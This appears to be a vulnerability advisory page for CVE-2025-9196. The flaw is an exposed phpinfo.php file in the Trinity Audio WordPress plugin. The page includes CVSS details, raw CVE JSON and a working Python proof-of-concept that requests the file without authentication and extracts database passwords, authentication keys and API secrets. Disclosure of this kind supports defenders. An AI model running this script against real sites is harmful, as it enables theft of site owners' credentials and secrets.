Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-9196 CVSS 5.3 MEDIUM

CVE-2025-9196

Published: 2025-10-11 08:15:32
Last Modified: 2026-04-15 00:35:42

Description

The Trinity Audio – Text to Speech AI audio player to convert content into audio plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 5.21.0 via the ~/admin/inc/phpinfo.php file that gets created on install. This makes it possible for unauthenticated attackers to extract sensitive data including configuration data.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Trinity Audio plugin for WordPress <= 5.21.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-9196 - Trinity Audio Plugin Sensitive Information Exposure PoC # Vulnerability: Unauthenticated access to phpinfo.php file # Affected: Trinity Audio plugin for WordPress <= 5.21.0 import requests import sys def exploit(target_url): """ Exploit CVE-2025-9196 by accessing the exposed phpinfo.php file created by Trinity Audio plugin during installation. """ # The vulnerable file path created during plugin installation vulnerable_path = "/wp-content/plugins/trinity-audio/admin/inc/phpinfo.php" # Construct the full URL full_url = target_url.rstrip('/') + vulnerable_path print(f"[*] Target: {target_url}") print(f"[*] Vulnerable endpoint: {full_url}") try: # Send unauthenticated GET request response = requests.get(full_url, timeout=10, verify=False) if response.status_code == 200: # Check if response contains phpinfo() output if 'phpinfo()' in response.text or 'PHP Version' in response.text: print("[+] Vulnerability confirmed! phpinfo() is accessible") print("[+] Extracting sensitive information...") # Extract key information from phpinfo output sensitive_keys = [ 'PHP Version', 'PHP API', 'Server Root', 'DOCUMENT_ROOT', 'DB_NAME', 'DB_USER', 'DB_PASSWORD', 'AUTH_KEY', 'SECURE_AUTH_KEY', 'LOGGED_IN_KEY', 'NONCE_KEY', 'API_KEY', 'SECRET_KEY' ] for key in sensitive_keys: if key in response.text: # Find the value associated with the key import re pattern = rf'<tr><td class="e">{key}</td><td class="v">(.*?)</td></tr>' match = re.search(pattern, response.text, re.DOTALL) if match: value = match.group(1).strip() print(f"[+] {key}: {value}") # Save full output for further analysis with open('phpinfo_output.html', 'w', encoding='utf-8') as f: f.write(response.text) print("[+] Full phpinfo output saved to phpinfo_output.html") return True else: print("[-] phpinfo content not detected in response") return False else: print(f"[-] Request failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: python3 {sys.argv[0]} <target_url>") print(f"Example: python3 {sys.argv[0]} https://target-wordpress-site.com") sys.exit(1) target = sys.argv[1] exploit(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9196", "sourceIdentifier": "[email protected]", "published": "2025-10-11T08:15:32.353", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Trinity Audio – Text to Speech AI audio player to convert content into audio plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 5.21.0 via the ~/admin/inc/phpinfo.php file that gets created on install. This makes it possible for unauthenticated attackers to extract sensitive data including configuration data."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3373045%40trinity-audio&new=3373045%40trinity-audio&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/64889659-24d6-40d9-97ba-b448f5205a96?source=cve", "source": "[email protected]"}]}}